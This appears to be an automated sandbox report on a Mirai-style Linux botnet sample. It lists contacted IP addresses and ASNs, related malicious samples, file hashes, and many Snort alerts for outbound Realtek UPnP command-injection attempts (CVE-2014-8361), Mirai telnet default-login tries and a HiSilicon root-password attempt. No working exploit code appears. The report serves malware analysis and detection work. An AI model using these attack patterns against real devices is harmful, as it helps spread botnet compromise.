70.43.247.143	unknown	United States	7029	WINDSTREAMUS	false
156.94.45.235	unknown	United States	10695	WAL-MARTUS	false
156.147.203.70	unknown	Korea Republic of	4668	LGNET-AS-KRLGCNSKR	false
14.158.135.27	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
41.219.166.84	unknown	Nigeria	37196	SUDATEL-SENEGALSN	false
156.249.107.64	unknown	Seychelles	139086	ONL-HKOCEANNETWORKLIMITEDHK	false
41.70.6.193	unknown	Malawi	24835	RAYA-ASEG	false
41.143.104.88	unknown	Morocco	36903	MT-MPLSMA	false
211.180.177.152	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
46.224.168.73	unknown	Iran (ISLAMIC Republic Of)	56402	DADEHGOSTAR-ASAS12880-DataCommunicationCompanyofIran	false
156.59.17.16	unknown	New Zealand	199083	MP-ASAT	false
156.193.32.238	unknown	Egypt	8452	TE-ASTE-ASEG	false
45.94.158.101	unknown	Ukraine	56851	VPS-UA-ASUA	false
146.140.139.185	unknown	Germany	12643	IGDDE	false
45.111.237.175	unknown	Egypt	37069	MOBINILEG	false
217.185.70.203	unknown	Germany	6805	TDDE-ASN1DE	false
93.121.3.59	unknown	United Kingdom	44574	A4NAS44574GB	false
156.71.93.203	unknown	United States	297	AS297US	false
195.125.64.148	unknown	Germany	702	UUNETUS	false
41.48.164.233	unknown	South Africa	37168	CELL-CZA	false
34.181.156.55	unknown	United States	2686	ATGS-MMD-ASUS	false
4.30.40.95	unknown	United States	3356	LEVEL3US	false
41.252.35.17	unknown	Libyan Arab Jamahiriya	21003	GPTC-ASLY	false
38.0.95.100	unknown	United States	174	COGENT-174US	false
84.197.23.113	unknown	Belgium	6848	TELENET-ASBE	false
197.141.53.88	unknown	Algeria	36891	ICOSNET-ASDZ	false
156.123.209.181	unknown	United States	393504	XNSTGCA	false
156.111.211.24	unknown	United States	395139	NYP-INTERNETUS	false
197.245.71.179	unknown	South Africa	11845	Vox-TelecomZA	false
197.149.52.157	unknown	Madagascar	37054	Telecom-MalagasyMG	false
197.211.66.90	unknown	South Africa	29918	IMPOL-ASNZA	false
197.126.242.207	unknown	Egypt	36992	ETISALAT-MISREG	false
219.56.55.11	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
64.27.148.47	unknown	United States	16399	FIRSTCOMM-AS2US	false
41.37.76.201	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.224.129.15	unknown	Tunisia	37492	ORANGE-TN	false
156.24.33.235	unknown	United States	29975	VODACOM-ZA	false
141.155.31.51	unknown	United States	701	UUNETUS	false
20.161.37.139	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
197.153.85.48	unknown	Morocco	36925	ASMediMA	false
44.226.1.4	unknown	United States	16509	AMAZON-02US	false
41.140.123.177	unknown	Morocco	36903	MT-MPLSMA	false
80.94.206.84	unknown	United Kingdom	199335	TALKSTRAIGHTGB	false
197.202.209.146	unknown	Algeria	36947	ALGTEL-ASDZ	false
196.136.237.101	unknown	Egypt	36935	Vodafone-EG	false
156.235.45.118	unknown	Seychelles	134705	ITACE-AS-APItaceInternationalLimitedHK	false
14.180.176.253	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
156.33.207.43	unknown	United States	3495	SENATE-ASUS	false
102.189.168.49	unknown	Egypt	24835	RAYA-ASEG	false
197.12.241.196	unknown	Tunisia	37703	ATLAXTN	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
156.72.230.197	arm7	Get hash	malicious	Browse
41.102.161.59	arm	Get hash	malicious	Browse
41.102.161.59	KbRuYuQKsH	Get hash	malicious	Browse
156.15.146.150	z0r0.x86	Get hash	malicious	Browse
156.15.146.150	Oq1I3DGMP8	Get hash	malicious	Browse
156.134.83.71	lO0vBTM6nK	Get hash	malicious	Browse
156.133.239.103	IH8yGKHMaA	Get hash	malicious	Browse
41.6.232.125	m68k	Get hash	malicious	Browse
	noZsigqVT3	Get hash	malicious	Browse
	SecuriteInfo.com.Linux.Mirai.4465.1295.13679	Get hash	malicious	Browse
	G3kV1FpdsS	Get hash	malicious	Browse
	2UFDZwqcvk	Get hash	malicious	Browse
41.122.114.233	arm7	Get hash	malicious	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
MANDADE	YhPgCoo2ZW	Get hash	malicious	Browse	141.103.219.217
	YRql5aJtTm	Get hash	malicious	Browse	141.103.132.193
	Ch8mzHniVn	Get hash	malicious	Browse	141.100.120.75
	01oHMcUgUM	Get hash	malicious	Browse	141.100.168.19
	dbGGZC68ff	Get hash	malicious	Browse	130.83.17.13
	arm7	Get hash	malicious	Browse	141.100.168.107
	8K8IoN6A5s	Get hash	malicious	Browse	141.100.70.241
	83f0vQR5Uf	Get hash	malicious	Browse	141.103.132.177
	bzRbw3UQWG	Get hash	malicious	Browse	141.103.179.174
	FIdW4UxDKk	Get hash	malicious	Browse	141.100.168.58
	arm-20211114-0109	Get hash	malicious	Browse	130.83.206.211
	2rqNtPRooR	Get hash	malicious	Browse	141.100.70.236
	sora.arm7	Get hash	malicious	Browse	141.100.144.38
	mL883e3xGw	Get hash	malicious	Browse	141.100.70.229
	vTPWUqrDXM	Get hash	malicious	Browse	141.100.120.95
	Anon.arm7	Get hash	malicious	Browse	141.100.119.88
	L5KEcDLI8h	Get hash	malicious	Browse	141.102.172.119
	Y3A7DmxPYo	Get hash	malicious	Browse	141.100.120.85
	5tNstyTOAF	Get hash	malicious	Browse	141.100.244.253
	94eegsPxnL	Get hash	malicious	Browse	141.100.132.78
VODACOM-ZA	8mA18W526B	Get hash	malicious	Browse	41.3.151.165
	zQ9Jc5TO6P	Get hash	malicious	Browse	156.132.102.14
	loligang.arm7	Get hash	malicious	Browse	156.21.96.233
	3p4P1shQmy	Get hash	malicious	Browse	156.130.25.246
	MwMYYGa5xC	Get hash	malicious	Browse	156.130.0.67
	HylfKEC9GT	Get hash	malicious	Browse	156.23.31.36
	JRhuYk820Y	Get hash	malicious	Browse	156.133.239.135
	G4CgrTtwer	Get hash	malicious	Browse	41.3.29.104
	mipsel-20220323-0742	Get hash	malicious	Browse	105.251.254.215
	mips-20220323-0742	Get hash	malicious	Browse	156.32.205.207
	c5RBvF5vHB	Get hash	malicious	Browse	156.138.201.25
	yt74oGF5J9	Get hash	malicious	Browse	156.7.184.101
	rQWCmgylBA	Get hash	malicious	Browse	41.2.68.168
	wQHIfaB9eM	Get hash	malicious	Browse	41.15.176.244
	Q6jWb3HRhc	Get hash	malicious	Browse	41.9.179.1
	62T1gQf0Zf	Get hash	malicious	Browse	41.15.176.245
	AJwVfntPLb	Get hash	malicious	Browse	156.48.59.182
	sora.arm	Get hash	malicious	Browse	156.133.93.234
	l4XVD3ZPm1	Get hash	malicious	Browse	156.7.73.30
	lXp4xcNIei	Get hash	malicious	Browse	41.12.174.200

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	622592
Entropy (8bit):	4.657516417799966
Encrypted:	false
SSDEEP:	6144:rb7cWWov4H5N80nuDSyvxYCWZ0/VmpRELAR/QuU/MzUCl1NZ:H4WWoGgvSiOp2kl
MD5:	0C99179B6C5CFE82203424AD7DAD0D8F
SHA1:	CAC50B64B1352723FF8F58BB1B103B93C396539B
SHA-256:	CEC6859D12C6A981ACA4D7C88F6E62E9616FB4D765C4A52147A7DA7BAD4F2420
SHA-512:	4226FDE9F558FFEF2107C330DB942E7E665C51C520A840221541AD255D0995AF64101C69D42C4BD43037364CC4D152851625A53DC56CC188DC28A3DC8C5602F6
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.W.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:53044 -> 197.234.54.113:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:57542 -> 156.230.30.229:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:51562 -> 156.241.13.148:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:43554 -> 156.238.19.27:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:59302 -> 156.235.98.106:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:53618 -> 156.237.4.39:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:53866 -> 156.254.59.238:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:43356 -> 156.230.26.213:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:47108 -> 156.237.5.216:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:51266 -> 156.247.27.117:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:39324 -> 156.254.48.28:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:43628 -> 156.254.54.66:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:43296 -> 156.241.133.232:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:41792 -> 41.78.123.252:52869
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 85.159.162.137:23 -> 192.168.2.23:37930
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 85.159.162.137:23 -> 192.168.2.23:37930
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 145.249.254.51:23 -> 192.168.2.23:37518
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 145.249.254.51:23 -> 192.168.2.23:37518
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:55768 -> 156.254.76.245:52869
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 125.228.199.70:23 -> 192.168.2.23:35572
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 125.228.199.70:23 -> 192.168.2.23:35572
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 182.70.240.171:23 -> 192.168.2.23:33094
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 182.70.240.171:23 -> 192.168.2.23:33094
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 85.159.162.137:23 -> 192.168.2.23:38332
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 85.159.162.137:23 -> 192.168.2.23:38332
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:40212 -> 156.254.72.189:52869
Source: Traffic	Snort IDS: 716 INFO TELNET access 103.242.105.88:23 -> 192.168.2.23:37852
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:45662 -> 156.235.99.56:52869
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 125.228.199.70:23 -> 192.168.2.23:35972
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 125.228.199.70:23 -> 192.168.2.23:35972
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 85.159.162.137:23 -> 192.168.2.23:38656
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 85.159.162.137:23 -> 192.168.2.23:38656
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 182.70.240.171:23 -> 192.168.2.23:33458
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 182.70.240.171:23 -> 192.168.2.23:33458
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:56990 -> 156.247.26.197:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:57250 -> 156.240.108.71:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:51002 -> 156.237.5.25:52869
Source: Traffic	Snort IDS: 716 INFO TELNET access 92.60.241.126:23 -> 192.168.2.23:58454
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 85.159.162.137:23 -> 192.168.2.23:38992
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 85.159.162.137:23 -> 192.168.2.23:38992
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 125.228.199.70:23 -> 192.168.2.23:36338
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 125.228.199.70:23 -> 192.168.2.23:36338
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 216.123.190.25:23 -> 192.168.2.23:57566
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 216.123.190.25:23 -> 192.168.2.23:57566
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:57014 -> 156.224.18.131:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:39760 -> 156.254.54.238:52869
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 182.70.240.171:23 -> 192.168.2.23:33972
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 182.70.240.171:23 -> 192.168.2.23:33972
Source: Traffic	Snort IDS: 2023439 ET TROJAN Possible Linux.Mirai Login Attempt (hi3518) 192.168.2.23:34500 -> 88.83.98.114:23
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 182.70.240.171:23 -> 192.168.2.23:34084
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 182.70.240.171:23 -> 192.168.2.23:34084
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 85.159.162.137:23 -> 192.168.2.23:39310
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 85.159.162.137:23 -> 192.168.2.23:39310
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 125.228.199.70:23 -> 192.168.2.23:36692
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 125.228.199.70:23 -> 192.168.2.23:36692
Source: Traffic	Snort IDS: 716 INFO TELNET access 221.162.187.138:23 -> 192.168.2.23:53752
Source: Traffic	Snort IDS: 716 INFO TELNET access 85.163.46.38:23 -> 192.168.2.23:33004
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 223.204.189.26:23 -> 192.168.2.23:54020
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:54020 -> 41.78.123.79:52869
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 85.159.162.137:23 -> 192.168.2.23:39610
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 85.159.162.137:23 -> 192.168.2.23:39610
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 24.166.38.81:23 -> 192.168.2.23:51390
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 24.166.38.81:23 -> 192.168.2.23:51390
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:47138 -> 156.241.10.193:52869
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 182.70.240.171:23 -> 192.168.2.23:34442
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 182.70.240.171:23 -> 192.168.2.23:34442
Source: Traffic	Snort IDS: 716 INFO TELNET access 92.60.241.126:23 -> 192.168.2.23:59242
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:60756 -> 156.232.88.152:52869
Source: Traffic	Snort IDS: 716 INFO TELNET access 186.7.23.159:23 -> 192.168.2.23:35454
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 125.228.199.70:23 -> 192.168.2.23:37132
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 125.228.199.70:23 -> 192.168.2.23:37132
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:56916 -> 156.237.5.212:52869
Source: Traffic	Snort IDS: 716 INFO TELNET access 186.7.23.159:23 -> 192.168.2.23:35500
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 85.159.162.137:23 -> 192.168.2.23:39856
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 85.159.162.137:23 -> 192.168.2.23:39856
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:60926 -> 156.254.89.239:52869
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 24.166.38.81:23 -> 192.168.2.23:51650
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 24.166.38.81:23 -> 192.168.2.23:51650
Source: Traffic	Snort IDS: 716 INFO TELNET access 186.7.23.159:23 -> 192.168.2.23:35556
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 216.123.190.25:23 -> 192.168.2.23:58316
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 216.123.190.25:23 -> 192.168.2.23:58316
Source: Traffic	Snort IDS: 2023452 ET TROJAN Possible Linux.Mirai Login Attempt (Zte521) 192.168.2.23:47322 -> 216.99.115.245:23
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 182.70.240.171:23 -> 192.168.2.23:34740
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 182.70.240.171:23 -> 192.168.2.23:34740
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:33440 -> 156.230.26.194:52869
Source: Traffic	Snort IDS: 716 INFO TELNET access 186.7.23.159:23 -> 192.168.2.23:35624
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 125.228.199.70:23 -> 192.168.2.23:37330
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 125.228.199.70:23 -> 192.168.2.23:37330
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:38472 -> 156.230.31.52:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:54318 -> 41.78.123.127:52869
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 85.159.162.137:23 -> 192.168.2.23:40022
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 85.159.162.137:23 -> 192.168.2.23:40022
Source: Traffic	Snort IDS: 716 INFO TELNET access 186.7.23.159:23 -> 192.168.2.23:35684
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 24.166.38.81:23 -> 192.168.2.23:51838
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 24.166.38.81:23 -> 192.168.2.23:51838
Source: Traffic	Snort IDS: 716 INFO TELNET access 85.163.46.38:23 -> 192.168.2.23:33664
Source: Traffic	Snort IDS: 716 INFO TELNET access 221.162.187.138:23 -> 192.168.2.23:54438
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:38752 -> 156.254.42.102:52869
Source: Traffic	Snort IDS: 716 INFO TELNET access 186.7.23.159:23 -> 192.168.2.23:35868
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:59038 -> 156.230.22.78:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:54270 -> 156.230.16.102:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:50714 -> 156.254.69.20:52869
Source: Traffic	Snort IDS: 2023449 ET TROJAN Possible Linux.Mirai Login Attempt (vizxv) 192.168.2.23:47698 -> 216.99.115.245:23
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 182.70.240.171:23 -> 192.168.2.23:35070
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 182.70.240.171:23 -> 192.168.2.23:35070
Source: Traffic	Snort IDS: 716 INFO TELNET access 186.7.23.159:23 -> 192.168.2.23:35964
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 85.159.162.137:23 -> 192.168.2.23:40344
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 85.159.162.137:23 -> 192.168.2.23:40344
Source: Traffic	Snort IDS: 716 INFO TELNET access 92.60.241.126:23 -> 192.168.2.23:59936
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 24.166.38.81:23 -> 192.168.2.23:52174
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 24.166.38.81:23 -> 192.168.2.23:52174
Source: Traffic	Snort IDS: 716 INFO TELNET access 186.7.23.159:23 -> 192.168.2.23:36064
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 125.228.199.70:23 -> 192.168.2.23:37756
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 125.228.199.70:23 -> 192.168.2.23:37756
Source: Traffic	Snort IDS: 716 INFO TELNET access 186.7.23.159:23 -> 192.168.2.23:36198
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:42800 -> 156.232.94.38:52869
Source: Traffic	Snort IDS: 716 INFO TELNET access 186.7.23.159:23 -> 192.168.2.23:36296
Source: Traffic	Snort IDS: 2027973 ET EXPLOIT HiSilicon DVR - Default Telnet Root Password Inbound 192.168.2.23:32924 -> 41.211.15.38:23
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 85.159.162.137:23 -> 192.168.2.23:40658
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 85.159.162.137:23 -> 192.168.2.23:40658
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 182.70.240.171:23 -> 192.168.2.23:35454
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 182.70.240.171:23 -> 192.168.2.23:35454
Source: Traffic	Snort IDS: 716 INFO TELNET access 186.7.23.159:23 -> 192.168.2.23:36446
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:48454 -> 156.235.99.104:52869
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 24.166.38.81:23 -> 192.168.2.23:52540
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 24.166.38.81:23 -> 192.168.2.23:52540
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 125.228.199.70:23 -> 192.168.2.23:38174
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 125.228.199.70:23 -> 192.168.2.23:38174
Source: Traffic	Snort IDS: 716 INFO TELNET access 186.7.23.159:23 -> 192.168.2.23:36498
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:47246 -> 156.227.240.155:52869
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 216.123.190.25:23 -> 192.168.2.23:59320
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 216.123.190.25:23 -> 192.168.2.23:59320
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 191.253.47.51:23 -> 192.168.2.23:50180
Source: Traffic	Snort IDS: 716 INFO TELNET access 186.7.23.159:23 -> 192.168.2.23:36604
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 85.159.162.137:23 -> 192.168.2.23:40956
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 85.159.162.137:23 -> 192.168.2.23:40956
Source: Traffic	Snort IDS: 716 INFO TELNET access 221.162.187.138:23 -> 192.168.2.23:55272
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:41326 -> 156.227.242.156:52869
Source: Traffic	Snort IDS: 716 INFO TELNET access 85.163.46.38:23 -> 192.168.2.23:34478
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 223.204.155.73:23 -> 192.168.2.23:45748
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 24.166.38.81:23 -> 192.168.2.23:52838
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 24.166.38.81:23 -> 192.168.2.23:52838
Source: Traffic	Snort IDS: 716 INFO TELNET access 60.32.179.137:23 -> 192.168.2.23:42256
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 182.70.240.171:23 -> 192.168.2.23:35850
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 182.70.240.171:23 -> 192.168.2.23:35850
Source: Traffic	Snort IDS: 716 INFO TELNET access 186.7.23.159:23 -> 192.168.2.23:36708
Source: Traffic	Snort IDS: 716 INFO TELNET access 60.32.179.137:23 -> 192.168.2.23:42272
Source: Traffic	Snort IDS: 716 INFO TELNET access 60.32.179.137:23 -> 192.168.2.23:42294
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 125.228.199.70:23 -> 192.168.2.23:38464
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 125.228.199.70:23 -> 192.168.2.23:38464
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:37132 -> 156.254.50.215:52869
Source: Traffic	Snort IDS: 716 INFO TELNET access 60.32.179.137:23 -> 192.168.2.23:42318
Source: Traffic	Snort IDS: 716 INFO TELNET access 186.7.23.159:23 -> 192.168.2.23:36780
Source: Traffic	Snort IDS: 716 INFO TELNET access 60.32.179.137:23 -> 192.168.2.23:42334
Source: Traffic	Snort IDS: 716 INFO TELNET access 92.60.241.126:23 -> 192.168.2.23:60640
Source: Traffic	Snort IDS: 716 INFO TELNET access 60.32.179.137:23 -> 192.168.2.23:42358
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 85.159.162.137:23 -> 192.168.2.23:41178
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 85.159.162.137:23 -> 192.168.2.23:41178
Source: Traffic	Snort IDS: 716 INFO TELNET access 60.32.179.137:23 -> 192.168.2.23:42380
Source: Traffic	Snort IDS: 716 INFO TELNET access 186.7.23.159:23 -> 192.168.2.23:36854
Source: Traffic	Snort IDS: 716 INFO TELNET access 60.32.179.137:23 -> 192.168.2.23:42404
Source: Traffic	Snort IDS: 716 INFO TELNET access 60.32.179.137:23 -> 192.168.2.23:42436
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 24.166.38.81:23 -> 192.168.2.23:53014
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 24.166.38.81:23 -> 192.168.2.23:53014
Source: Traffic	Snort IDS: 716 INFO TELNET access 60.32.179.137:23 -> 192.168.2.23:42474

Source: global traffic	TCP traffic: 156.235.109.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.235.110.199 ports 2,5,6,8,9,52869

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 156.213.219.138
Source: unknown	TCP traffic detected without corresponding DNS query: 197.16.145.0
Source: unknown	TCP traffic detected without corresponding DNS query: 156.208.103.13
Source: unknown	TCP traffic detected without corresponding DNS query: 197.107.87.139
Source: unknown	TCP traffic detected without corresponding DNS query: 197.88.49.244
Source: unknown	TCP traffic detected without corresponding DNS query: 156.81.104.143
